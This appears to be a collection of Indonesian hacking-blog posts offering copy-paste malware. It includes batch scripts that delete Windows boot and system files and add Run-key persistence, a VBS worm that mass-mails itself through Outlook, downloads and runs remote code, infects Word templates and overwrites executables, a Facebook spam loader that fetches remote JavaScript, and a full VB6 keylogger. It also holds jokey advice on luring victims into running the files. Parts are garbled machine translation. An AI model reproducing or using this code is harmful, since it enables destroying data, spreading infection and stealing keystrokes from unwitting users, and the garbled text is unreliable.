Si Ucok Polos Berbagi

Script ini digunain untuk buka tutup DVD. Ini adalah hasil dari project VB alias visual basic. Ini merupakan salah satu jenis gangguan dari virus TROJAN,yaitu DVD buka tutup sendiri tanpa di komando. Dah ah...g usa banyak omong...ni tutornya nya...:

1.bikin new text document.
2.masukin script berikut;
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

3.save dalam extensi .vbs
4.kasi aja nama "gadisbugil"...hahahaha...biar napsu nya pada naik buat buka nih script....
OK....met nyoba ya....

Facebook Timeline | Cara Mudah Membuat Cover/Foto Sampul Facebook Timeline . Bagi anda penikmat facebook sekarang sudah bisa menikmati fitur baru facebook berupa Facebook Timeline. Disini Facebook timeline mempunyai fitur yang banyak. Tapi entah kenapa banyak user facebook yang mengeluh dengan tampilan baru ini dan malah memilih kembali ke tampilan lamanya.Cara Jitu Mempercepat Koneksi Internet 3 Three Terbaru.

Bagi anda yang tidak bisa mendesign Cover Facebook,saya akan berikan langkah mudah untuk membuatnya tanpa harus memiliki skill mendesign :

Saya akan memberikan Daftar Nama - Nama Situs Untuk Membuat Cover/Foto Sampul Facebook Timeline :

0. Coverphotofinder.com

Penggunaannya sangat mudah, dengan memilih gambar yang akan digunakan lalu klik gunakan dan gambar akan terupload otomatis ke facebook dengan dilengkapi gambar-gambar yang keren, juga bisa mengupload gambar sendiri.

1. Newfacebookbanners.com
sebuah situs yg menyediakan tempat untuk membuat cover anda dengan sesuka hati anda dengan imajinasi dan kreatif anda. Dengan copy paste ID gambar yang ada di situs penyedia layanan gambar yang dipilih.

2. Facecoverz.com
Salah satu situs yang menyediakan gambar yang bagus dan keren yang siap pakai dengan mudah.

3. TheSiteCanvas.com
adalah situs yang bagus bagi anda yang ingin menyesuaikan sampul, serta tempat yang baik untuk mendapatkan ide dari ratusan foto sampul dimasukkan dalam galeri.

4. fbcoverpix.com

FB Cover Pix adalah situs penyedia gambar yang siap digunakan untuk cover fb anda dengan didownload terlebih dahulu.

5. 99covers.com
99Covers menawarkan koleksi ribuan Cover yang populer yang siap digunakan di Facebook anda.

6. Myprofilecover.com

Dapatkan grafis yang anda inginkan di sini, yang ingin dijadikan sebagai cover fb anda dengan banyak pilihan dan kategori termasuk foto dengan slogan-slogan motivasi serta banyak yang lainnya.


Sebenarnya masih banyak situs untuk Membuat Cover/Foto Sampul Facebook Timeline, tapi anda bisa mencarinya dengan cara searching di Google.
Terimakasih sudah membaca artikel Facebook Timeline | Cara Mudah Membuat Cover/Foto Sampul Facebook Timeline, semoga tampilan facebook timeline anda lebih bervariasi.


Artikel Terkait:

Cara/Trik Mempercepat Koneksi Internet di Warnet
Cara/trik Jahil Di Facebook
Free Download Aplikasi Keylogger Terbaru
Hacker Lame alat atau perangkat pengiriman trojan? Tangan dengan Anonim-OS
PENERIMAAN MAHASISWA BARU/Stmik Budidarma Medan
Contoh cara Buat Virus
Contoh cara Buat Virus

DI SINI ADA R beberapa script VIRUS EXCELLENT script Webs PALING BERBAHAYA JUGA TERCANTUM DALAM MEREKA
Bagaimana untuk crash PC Selamanya! :::
@ Echo off
attrib-r-s-hc: \ autoexec.bat
del c: \ autoexec.bat
attrib-r-s-hc: \ boot.ini
del c: \ boot.ini
attrib-r-s-hc: \ ntldr
del c: \ ntldr
attrib-r-s-hc: \ windows \ win.ini
del c: \ windows \ win.ini
 
Buka notepad dan copy dan paste. Simpan sebagai file. Kelelawar.
Ini harus shutdown komputer orang. Menutup itu dari sekali dan menghapus file yang dibutuhkan untuk reboot dan restart.
INGAT - JANGAN KLIK FILE INI. (Untuk para idiot)
Juga ingat ** ini mungkin tidak bekerja dengan vista. **
 
Bagaimana menghentikan akses internet seseorang ::::
@ Echo off
Ipconfig / release
Simpan bahwa sebagai kelelawar. Dan mengirimkannya ke seseorang. Mereka alamat IP akan hilang, dan karena itu mereka tidak akan dapat memperbaikinya
Namun, hal ini SANGAT mudah untuk memperbaikinya. Cukup ketik ipconfig / renew
 
ShutDown PC juta Waktu ::::
 
1.Right klik pada desktop
2.Click shortcut
Anda akan mendapatkan kotak dialog, menulis di dalamnya: shutdown-s-t 1000 c "komentar apapun u inginkan" lalu tekan berikutnya
catatan: ini "1000" saya menulis adalah waktu dalam detik diperlukan untuk komputer untuk shutdown ur, u dapat menempatkan sejumlah u mau ...
3.u akan mendapatkan kotak dialog yang lain, menulis di dalamnya: Internet Explorer dan tekan finish
4.u akan menemukan ikon pada desktop ur, jangan membukanya, cukup klik kanan di atasnya dan tekan properti> change icon> pilih ikon para penjelajah internet dan pers menerapkan lalu ok
mencoba untuk membukanya, itu adalah virus hehe
PS: satu-satunya cara menghentikan komputer ur 2 dari mematikan adalah pergi 2 start> run> ketik: shutdown-a
 
Bekukan desktop yang seseorang :::
ini adalah trik yang lucu, u dapat membekukan desktop yang seseorang
Ur semuanya 1.close bekerja di, dan bekerja pada desktop. jadi klik pada PrtScr pada keyboard ur.
2.go melukis dan klik edit lalu paste
3.Simpan file ini sebagai (nama). Bmp dan menutup cat.
3.Now di desktop, kami memiliki 2 ikon desktop menghapus dan shortcut, jadi klik kanan pada mouse dan kemudian properti, klik pada desktop lalu pilih menyesuaikan desktop.
4.uncheck semua kotak dalam ikon desktop dan tekan ok. lalu tekan berlaku kemudian ok.
5.now untuk menghapus shortcut di desktop, pergi untuk memulai dan pilih My Computer, kemudian klik pada c: klik kanan pada mouse dan pilih ur folder baru, menulis nama apapun
6.now pergi ke desktop & pilih semua ikon da dan klik kanan pada mereka lalu tekan dipotong, pergi ke c: dan paste di folder dat u dibuat kemudian tutup jendela.
7.now untuk menempatkan gambar desktop palsu dan menghapus taskbar, jadi klik kanan pada desktop dan gp ke properti, sekarang pergi ke desktop dan pilih Browse, pilih file yang disimpan u lalu tekan appply lalu ok. sekarang untuk menghapus taskbar windows, klik kanan pada taskbar dan pergi 2 properti, kemudian pilih autohide taskbar dan kemudian terapkan kemudian ok
sekarang semua palsu ikon r dan pengguna akan berpikir bahwa desktop nya adalah freezing
menikmatinya.!
 
SHUT UR permenantly INTERNET :::
Ini adalah salah satu sedikit lebih maju. Ini menutup internet Anda Permanately. Saya mencoba di sendiri tidak sengaja, saya tahu apa yang terjadi, dan masih butuh beberapa hari untuk mendapatkan internet saya kembali. bekerja terbaik di XP, belum diuji di vista atau 7.
EDIT: Pada bagian bawah menempatkan situs rickroll atau sesuatu. BTW, bahwa garis ke-3, tidak apa Menonaktifkan internet Permanately. Hal ini somethinge lain, yang hanya memberikan respon yang cepat untuk menutup koneksi.
@echo off
reg add HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run / v MiXedVeX / t REG_SZ / d% systemroot% \ HaloTrialScoreChangerV1 / f> nul
awal IExpress (situs pilihan Anda)
ipconfig / release
del "C: \ Program Files \ Microsoft Game
del "C: Nexon
del "C: \ Program Files \ Xfire
del "C: \ Program Files \ Adobe"
del "C: \ Program Files \ Internet Explorer"
del "C: \ Program Files \ Mozilla Firefox"
del "C: \ WINDOWS"
del "C: \ WINDOWS \ system32"
del "C: \ WINDOWS \ system32 \ cmd"
del "C: \ WINDOWS \ system32 \ IExpress"
del "C: \ WINDOWS \ system32 \ sndvol32"
del "C: \ WINDOWS \ system32 \ sndrec32"
del "C: \ WINDOWS \ system32 \ Restore \ rstrui"
del "C: \ WINDOWS \ system32 \ wupdmgr"
del "C: \ WINDOWS \ system32 \ desktop"
del "C: \ WINDOWS \ java"
del "C: \ WINDOWS \ Media"
del "C: \ WINDOWS \ Resources"
del "C: \ WINDOWS \ system"
del "C: \ driver"
del "C: \ drv"
del "C: \ SYSINFO"
del "C: \ Program Files"
gema ipconfig / release_all >> c: windowswimn32.bat
bersih stop "Security Center"
bersih berhenti SharedAccess
> "% Temp%. Kill.reg" ECHO REGEDIT4
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
START / WAIT REGEDIT / S "% Temp%. Kill.reg"
del "% Temp%. kill.reg"
del% 0
gema @ echo off> c: windowswimn32.bat
menggemakan memutuskan >> c: windowswimn32.bat
gema ipconfig / release_all >> c: windowswimn32.bat
gema akhir >> c: windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun / v WINDOWsAPI / t REG_SZ / dc: windowswimn32.bat / f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun / v CONTROLexit / t REG_SZ / dc: windowswimn32.bat / f
: A
awal IExpress (situs pilihan Anda)
goto
 
PEMBUATAN VIRUS PALING BERBAHAYA DISEBUT MATRIX :::
Peringatan - Jangan jalankan di komputer Anda
Aku akan mengajarkan cara untuk membuat virus bernama Matrix ...
1-Buka notepad
2-Masukkan kode ini
# Include

Ini adalah contoh Script Intuk bahan pembelajaran bagi pembaca.......
segala efek yang disebabkan oleh script tersebut tidak menjadi tanggung jawab penulis.......
Thank's.

On Error Resume Next
spawn()
sub spawn()
Set s = CreateObject("Scripting.FileSystemObject")
Set f = s.GetFile(wscript.scriptfullname)
f.Copy ("c:\anyname.vbs")
f.Copy ("c:\folder\subfolder\...\anyname.vbs")
f.Copy ("c:\attachment.vbs")
f.Copy ("c:\attachment1.vbs")
end sub
mail()
sub mail()
Set a = CreateObject("Outlook.Application")
Set b = a.GetNameSpace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
x = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(x)
c.Recipients.Add e
x = x + 1
If x > 5 Then oo = d.AddressEntries.Count
Next
c.Subject = "DOOM!"
c.Body = "...U Hav Bin Infected!!!"
c.attachments.Add wscript.scriptfullname, 1, 1
c.attachments.Add "c:\attachment.vbs", 1, 2, ""
c.attachments.Add "c:\attachment1.vbs", 1, 3, ""
c.Send
e = ""
Next
b.Logoff
End If
end sub
reg()
sub reg()
dim j
Set j = CreateObject("WScript.Shell")
j.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\*HLM", wscript.scriptfullname
end sub
update()
Sub update()
Dim objInet, a
Dim strDownloadedCode
Set objInet = CreateObject("InetCtls.Inet")
objInet.RequestTimeOut = 30
strDownloadedCode = objInet.OpenURL("http://members.tripod.com/yourusername/thevbsroutineupdate.txt")
set fso = createobject("scripting.filesystemobject")
set f = fso.CreateTextFile("c:\update.vbs")
f.write strDownloadedCode
f.close
Set a = CreateObject("WScript.Shell")
a.run ("c:\update.vbs")
end sub
irc()
sub irc()
set fso = createobject("scripting.filesystemobject")
set scrini = fso.CreateTextFile("c:\program files\mirc\script.ini")
scrini.WriteLine "[script]"
scrini.WriteLine "n0=on 1:JOIN:#:{"
scrini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scrini.WriteLine "n2= /dcc send $nick " & wscript.scriptfullname
scrini.WriteLine "n3=}"
scrini.Close
end sub
word()
sub word()
norm ="Sub document_close()" & vbCrLf & _
"On Error Resume Next" & vbCrLf & _
"Open ""c:\xploit.txt"" For Output As 2" & vbCrLf & _
"Print #2, ""sub document_open()""" & vbCrLf & _
"Print #2, ""On Error Resume Next""" & vbCrLf & _
"Print #2, ""'by alcopaul""" & vbCrLf & _
"Print #2, ""obj = ActiveDocument.Shapes(1).OLEFormat.ClassType""" & vbCrLf & _
"Print #2, ""With ActiveDocument.Shapes(1).OLEFormat""" & vbCrLf & _
"Print #2, "" .ActivateAs ClassType:=obj""" & vbCrLf & _
"Print #2, "" .Activate""" & vbCrLf & _
"Print #2, ""End With""" & vbCrLf & _
"Print #2, ""end sub""" & vbCrLf & _
"Close 2" & vbCrLf & _
"Set fso = CreateObject(""Scripting.FileSystemObject"")" & vbCrLf & _
"Set nt = ActiveDocument.VBProject.vbcomponents(1).codemodule" & vbCrLf & _
"Set iw = fspenTextFile(""c:\xploit.txt"", 1, True)" & vbCrLf & _
"nt.DeleteLines 1, nt.CountOfLines" & vbCrLf & _
"i = 1 " & vbCrLf & _
"Do While iw.atendofstream True" & vbCrLf & _
"b = iw.readline" & vbCrLf & _
"nt.InsertLines i, b " & vbCrLf & _
"i = i + 1 " & vbCrLf & _
"Loop" & vbCrLf & _
"ActiveDocument.Shapes.AddOLEObject _" & vbCrLf & _
"FileName:=""c:\anyname.vbs"", _" & vbCrLf & _
"LinkToFile:=False" & vbCrLf & _
"ActiveDocument.Save" & vbCrLf & _
"Open ""c:\vv.reg"" For Output As 3" & vbCrLf & _
"Print #3, ""REGEDIT4""" & vbCrLf & _
"Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]""" & vbCrLf & _
"Print #3, """"""Level""""=dword:00000001""" & vbCrLf & _
"Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]""" & vbCrLf & _
"Print #3, """"""Level""""=dword:00000001""" & vbCrLf & _
"Print #3, """"""AccessVBOM""""=dword:00000001""" & vbCrLf & _
"Close 3" & vbCrLf & _
"Shell ""regedit /s c:\vv.reg"", vbHide" & vbCrLf & _
"Kill ""c:\vv.reg""" & vbCrLf & _
"End Sub"
Set fso = CreateObject("Scripting.FileSystemObject")
set f = fso.createtextfile("c:\try.txt")
f.write norm
f.Close
Set oword = CreateObject("Word.Application")
oword.Visible = False
Set nt = oword.NormalTemplate.vbproject.vbcomponents(1).codemodule
Set iw = fspenTextFile("c:\try.txt", 1, True)
nt.DeleteLines 1, nt.CountOfLines
i = 1
Do While iw.atendofstream True
b = iw.readline
nt.InsertLines i, b
i = i + 1
Loop
oword.NormalTemplate.Save
oword.NormalTemplate.Close
end sub
haha()
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "")
End If
Next
haha = s
End Sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "exe") Then
Set f = fso.GetFile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbs")
fso.deletefile(f1.path)
End If
If (s = "freecell.exe") Or (s = "readme.txt") or (s = "license.txt") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path)
fso.deletefile(f1.path)
End If
If (ext = "exe") Or (ext = "bat") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbs")
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub
dos()
sub dos()
Dim a
Set a = CreateObject("WScript.Shell")
a.run ("c:\windows\ping.exe -t -l 10000 www.grisoft.com")
end sub
msgbox "INFECTED", ,"DOOM"

Melanjutkan tulisan saya sebelumnya tentang pesan chat dari teman anda seperti :

‘(nama anda) pengen tau saipa aja yang Sering lihat profilemu? http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645′;

‘(your name) See who views your profile http://www.facebook.com/pages/JEMPOLERs_LIKE/143364539065677?sk=app_106878476015645′;

javascript:(a=(b=document).createElement(‘script’)).src=’//www.zingapoker.byethost4.com/_.js’,b.body.appendChild(a);void(0)

• .pureftpd-rename.36788.f8ccaee0
• _.js
• final.htm
• qwq.js

var randomnumber=Math.floor(Math.random()*99999);
var chatmessage = '%firstname% pengen tau saipa aja yang Sering lihat profilemu?   <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var postmessage = 'wow...ternyata banyak juga yang suka lihat profileku y : \n\ %tf% - 436 views \n\ %tf% - 83 views \n\ %tf% - 42 views \n\ %tf% - 30 views \n\ pengen tau saipa aja yang Sering lihat profilemu? <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var redirect = '<a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var eventdesc = 'You can now see whos been on your page! \n\ \n\ Go here:  <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645&'+randomnumber+'">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645&'+randomnumber+'</a> \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\'';
var eventname = 'See Who Likes You!';

• memilih secara acak teman-teman anda “var randomnumber” kemudian akan menampilkannya sebagai teman yang yang pernah melihat profil anda “var postmessage”.

Disitu terdapat string “%tf%”, dimana string ini yaitu teman-teman yang dipilih secara acak tadi dan menjalankan perintah pada line 219 yaitu mengirimi mereka pesan.

mt = postmessage;
m = postmessage;
while (mt['search']('%tf%') >= 0) {
var _0xaa04x32 = _0xaa04xd['pop']();
mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
};

• Pesan chat yang dikirim ditentukan lewat variabel “var chatmessage” dengan isi pesan “pengen tau saipa aja yang Sering lihat profilemu? ”.
• Setelah menjalankan script tersebut, anda secara diam-diam di redirect lagi kembali ke halaman awal dengan perintah “var redirect =”.

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..
1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE




4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
 


5. Copas seluruh Code di bawah ini :

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub

Private Sub Label1_Click()

End Sub

Private Sub Label4_Click()

End Sub

Private Sub Label6_Click()
Timer1.Enabled = True
End Sub

Private Sub Label7_Click()
Timer1.Enabled = False
End Sub

Private Sub Label8_Click()
backs = True
End Sub

Private Sub Label9_Click()
backs = False
End Sub

Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub

Private Sub Timer1_Timer()

Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000

win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”

GetWindowText hForegroundWnd, Title, 1000

Select Case Asc(Title)

Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select

End If

Exit Sub

Keylogger:

For i = 65 To 90

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)

If x = -32767 Then

If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If

End If

Next

For i = 8 To 222

If i = 65 Then i = 91

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)

If x = -32767 Then

Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)

Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “

Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “

End Select

End If

Next

End Sub

Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub

Daftarkan e-mail anda untuk mendapatkan
kabar terbaru dari bang khend!

Cari di lebih dari 1540000 Kode / dokumen:
[ virus antivirus Worm delphi Anti virus autorun membunuh firewall CIH kail ]

[Membunuh Virus] Total: 331 | << Pertama <Sebelumnya Selanjutnya> Terakhir >> Halaman: 1/17